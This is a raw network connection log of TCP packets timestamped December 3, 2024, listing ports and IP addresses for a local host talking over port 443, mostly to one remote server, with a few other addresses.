Dec 3, 2024 15:33:18.914884090 CET	49896	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:18.914891005 CET	443	49896	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:18.963462114 CET	443	49895	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:18.967170000 CET	443	49895	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:18.967216969 CET	443	49895	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:18.967279911 CET	49895	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:18.967309952 CET	49895	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:18.967376947 CET	49895	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:18.967376947 CET	49895	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:18.967400074 CET	443	49895	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:18.967407942 CET	443	49895	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:18.970699072 CET	49900	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:18.970747948 CET	443	49900	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:18.970829010 CET	49900	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:18.971052885 CET	49900	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:18.971067905 CET	443	49900	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.116012096 CET	443	49897	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.116781950 CET	49897	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.116822958 CET	443	49897	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.117310047 CET	49897	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.117316008 CET	443	49897	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.366619110 CET	443	49896	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.366647005 CET	443	49896	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.366693020 CET	443	49896	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.366775036 CET	49896	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.366815090 CET	49896	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.367146969 CET	49896	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.367167950 CET	443	49896	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.367182016 CET	49896	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.367187977 CET	443	49896	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.370871067 CET	49901	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.370923042 CET	443	49901	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.371011019 CET	49901	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.371174097 CET	49901	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.371191978 CET	443	49901	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.373696089 CET	443	49898	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.374152899 CET	49898	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.374166012 CET	443	49898	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.374634981 CET	49898	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.374639034 CET	443	49898	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.549331903 CET	443	49897	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.553037882 CET	443	49897	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.553117037 CET	49897	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.553340912 CET	49897	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.553364038 CET	443	49897	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.553378105 CET	49897	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.553384066 CET	443	49897	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.559453964 CET	49902	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.559508085 CET	443	49902	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.559585094 CET	49902	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.562920094 CET	49902	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.562936068 CET	443	49902	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.753268957 CET	443	49899	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.765692949 CET	49899	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.765729904 CET	443	49899	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.766524076 CET	49899	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.766530037 CET	443	49899	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.818547010 CET	443	49898	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.818604946 CET	443	49898	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.818669081 CET	443	49898	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.818778992 CET	49898	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.826953888 CET	49898	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.826982975 CET	443	49898	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.826989889 CET	49898	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.826997042 CET	443	49898	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.877664089 CET	49903	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.877716064 CET	443	49903	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:19.877815962 CET	49903	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.881901026 CET	49903	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:19.881922007 CET	443	49903	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:20.197618961 CET	443	49899	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:20.200704098 CET	443	49899	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:20.200855970 CET	49899	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:20.200902939 CET	49899	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:20.200922012 CET	443	49899	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:20.200932026 CET	49899	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:20.200937986 CET	443	49899	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:20.204446077 CET	49904	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:20.204483986 CET	443	49904	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:20.204577923 CET	49904	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:20.204760075 CET	49904	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:20.204770088 CET	443	49904	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:20.668409109 CET	49745	443	192.168.2.9	101.99.88.67
Dec 3, 2024 15:33:20.668514013 CET	443	49745	101.99.88.67	192.168.2.9
Dec 3, 2024 15:33:20.668601036 CET	49745	443	192.168.2.9	101.99.88.67
Dec 3, 2024 15:33:20.754434109 CET	443	49900	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:20.755399942 CET	49900	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:20.755420923 CET	443	49900	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:20.755897045 CET	49900	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:20.755901098 CET	443	49900	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.090908051 CET	443	49901	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.091700077 CET	49901	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.091732979 CET	443	49901	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.092192888 CET	49901	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.092201948 CET	443	49901	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.200819016 CET	443	49900	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.200843096 CET	443	49900	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.200965881 CET	49900	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.200984001 CET	443	49900	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.201378107 CET	49900	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.201384068 CET	443	49900	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.201400995 CET	49900	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.201539993 CET	443	49900	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.201567888 CET	443	49900	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.201616049 CET	49900	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.205153942 CET	49905	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.205209970 CET	443	49905	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.205291986 CET	49905	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.205482960 CET	49905	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.205495119 CET	443	49905	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.285686016 CET	443	49902	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.286381960 CET	49902	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.286398888 CET	443	49902	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.286916971 CET	49902	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.286921024 CET	443	49902	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.526115894 CET	443	49901	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.530066967 CET	443	49901	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.530109882 CET	443	49901	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.530206919 CET	49901	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.530266047 CET	49901	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.530284882 CET	443	49901	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.530298948 CET	49901	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.530307055 CET	443	49901	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.533557892 CET	49906	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.533600092 CET	443	49906	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.533674955 CET	49906	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.533837080 CET	49906	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.533848047 CET	443	49906	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.668421984 CET	443	49903	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.669049978 CET	49903	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.669083118 CET	443	49903	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.669533014 CET	49903	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.669537067 CET	443	49903	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.723033905 CET	443	49902	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.725511074 CET	443	49902	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.725569010 CET	443	49902	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.725583076 CET	49902	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.725635052 CET	49902	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.725749969 CET	49902	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.725771904 CET	443	49902	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.725784063 CET	49902	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.725790024 CET	443	49902	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.729104042 CET	49907	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.729152918 CET	443	49907	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.729223967 CET	49907	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.729443073 CET	49907	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.729458094 CET	443	49907	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.930792093 CET	443	49904	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.931391001 CET	49904	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.931428909 CET	443	49904	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:21.932079077 CET	49904	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:21.932095051 CET	443	49904	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:22.113894939 CET	443	49903	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:22.117471933 CET	443	49903	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:22.117537022 CET	49903	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:22.117584944 CET	49903	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:22.117608070 CET	443	49903	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:22.117614031 CET	49903	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:22.117628098 CET	443	49903	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:22.121706963 CET	49908	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:22.121747971 CET	443	49908	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:22.121812105 CET	49908	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:22.121983051 CET	49908	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:22.121998072 CET	443	49908	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:22.374370098 CET	443	49904	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:22.377471924 CET	443	49904	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:22.377780914 CET	49904	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:22.377859116 CET	49904	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:22.377880096 CET	443	49904	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:22.377891064 CET	49904	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:22.377897024 CET	443	49904	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:22.381393909 CET	49909	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:22.381424904 CET	443	49909	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:22.381522894 CET	49909	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:22.381711006 CET	49909	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:22.381724119 CET	443	49909	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:22.994930983 CET	443	49905	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:22.995662928 CET	49905	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:22.995691061 CET	443	49905	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:22.996237040 CET	49905	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:22.996246099 CET	443	49905	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.318948030 CET	443	49906	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.319731951 CET	49906	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.319772005 CET	443	49906	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.320276022 CET	49906	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.320291996 CET	443	49906	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.440716028 CET	443	49905	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.443892002 CET	443	49905	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.443996906 CET	49905	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.444055080 CET	49905	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.444072962 CET	443	49905	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.444082975 CET	49905	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.444088936 CET	443	49905	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.448755980 CET	49910	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.448863029 CET	443	49910	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.448971033 CET	49910	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.450146914 CET	49910	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.450184107 CET	443	49910	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.516032934 CET	443	49907	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.516777992 CET	49907	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.516814947 CET	443	49907	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.517452002 CET	49907	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.517463923 CET	443	49907	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.764930010 CET	443	49906	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.768294096 CET	443	49906	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.768352985 CET	443	49906	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.768378973 CET	49906	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.768424034 CET	49906	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.768491983 CET	49906	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.768511057 CET	443	49906	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.768523932 CET	49906	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.768529892 CET	443	49906	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.772008896 CET	49911	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.772063017 CET	443	49911	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.772141933 CET	49911	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.772308111 CET	49911	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.772325993 CET	443	49911	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.882983923 CET	443	49884	172.217.21.36	192.168.2.9
Dec 3, 2024 15:33:23.883065939 CET	443	49884	172.217.21.36	192.168.2.9
Dec 3, 2024 15:33:23.883141041 CET	49884	443	192.168.2.9	172.217.21.36
Dec 3, 2024 15:33:23.910078049 CET	443	49908	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.911407948 CET	49908	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.911488056 CET	443	49908	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.911933899 CET	49908	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.911947012 CET	443	49908	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.961994886 CET	443	49907	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.962074995 CET	443	49907	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.962203026 CET	49907	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.962764978 CET	49907	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.962793112 CET	443	49907	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.962807894 CET	49907	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.962814093 CET	443	49907	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.966140032 CET	49912	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.966202974 CET	443	49912	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:23.966279030 CET	49912	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.966480017 CET	49912	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:23.966492891 CET	443	49912	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.162357092 CET	443	49909	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.163146019 CET	49909	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:24.163175106 CET	443	49909	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.163701057 CET	49909	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:24.163706064 CET	443	49909	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.355252981 CET	443	49908	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.357939005 CET	443	49908	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.358000994 CET	443	49908	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.358144045 CET	49908	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:24.358144045 CET	49908	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:24.358144045 CET	49908	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:24.358213902 CET	49908	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:24.358242035 CET	443	49908	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.361638069 CET	49913	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:24.361680031 CET	443	49913	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.361838102 CET	49913	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:24.362029076 CET	49913	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:24.362040997 CET	443	49913	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.607337952 CET	443	49909	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.610652924 CET	443	49909	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.610742092 CET	49909	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:24.610915899 CET	49909	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:24.610915899 CET	49909	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:24.610935926 CET	443	49909	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.610945940 CET	443	49909	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.614532948 CET	49914	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:24.614594936 CET	443	49914	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.614695072 CET	49914	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:24.615006924 CET	49914	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:24.615025043 CET	443	49914	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:24.670871973 CET	49884	443	192.168.2.9	172.217.21.36
Dec 3, 2024 15:33:24.670900106 CET	443	49884	172.217.21.36	192.168.2.9
Dec 3, 2024 15:33:24.741868973 CET	49915	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:24.741919994 CET	443	49915	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:24.741947889 CET	49916	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:24.742028952 CET	49915	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:24.742031097 CET	443	49916	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:24.742103100 CET	49916	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:24.745238066 CET	49916	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:24.745276928 CET	443	49916	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:24.745467901 CET	49915	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:24.745481968 CET	443	49915	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:25.300961018 CET	443	49910	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.301678896 CET	49910	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.301714897 CET	443	49910	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.302212954 CET	49910	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.302220106 CET	443	49910	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.493494034 CET	443	49911	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.494270086 CET	49911	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.494290113 CET	443	49911	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.495359898 CET	49911	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.495364904 CET	443	49911	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.747364044 CET	443	49912	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.748234034 CET	49912	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.748265028 CET	443	49912	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.748814106 CET	49912	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.748828888 CET	443	49912	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.754679918 CET	443	49910	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.758394957 CET	443	49910	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.758450031 CET	443	49910	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.758474112 CET	49910	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.758660078 CET	49910	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.758660078 CET	49910	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.758660078 CET	49910	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.762532949 CET	49917	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.762573004 CET	443	49917	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.762648106 CET	49917	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.762840033 CET	49917	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.762852907 CET	443	49917	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.932310104 CET	443	49911	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.932398081 CET	443	49911	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.932559967 CET	49911	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.932894945 CET	49911	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.932905912 CET	443	49911	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.932918072 CET	49911	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.932924032 CET	443	49911	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.936304092 CET	49918	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.936351061 CET	443	49918	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:25.936430931 CET	49918	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.936644077 CET	49918	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:25.936655045 CET	443	49918	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.072349072 CET	49910	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.072391033 CET	443	49910	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.196352959 CET	443	49912	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.198937893 CET	443	49912	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.199043989 CET	49912	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.199965954 CET	49912	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.200002909 CET	443	49912	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.200021029 CET	49912	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.200030088 CET	443	49912	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.203102112 CET	49919	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.203147888 CET	443	49919	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.203229904 CET	49919	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.203382969 CET	49919	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.203399897 CET	443	49919	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.222327948 CET	443	49913	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.222877026 CET	49913	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.222909927 CET	443	49913	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.223459959 CET	49913	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.223469019 CET	443	49913	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.401015043 CET	443	49914	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.448317051 CET	49914	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.465284109 CET	443	49916	101.99.88.62	192.168.2.9
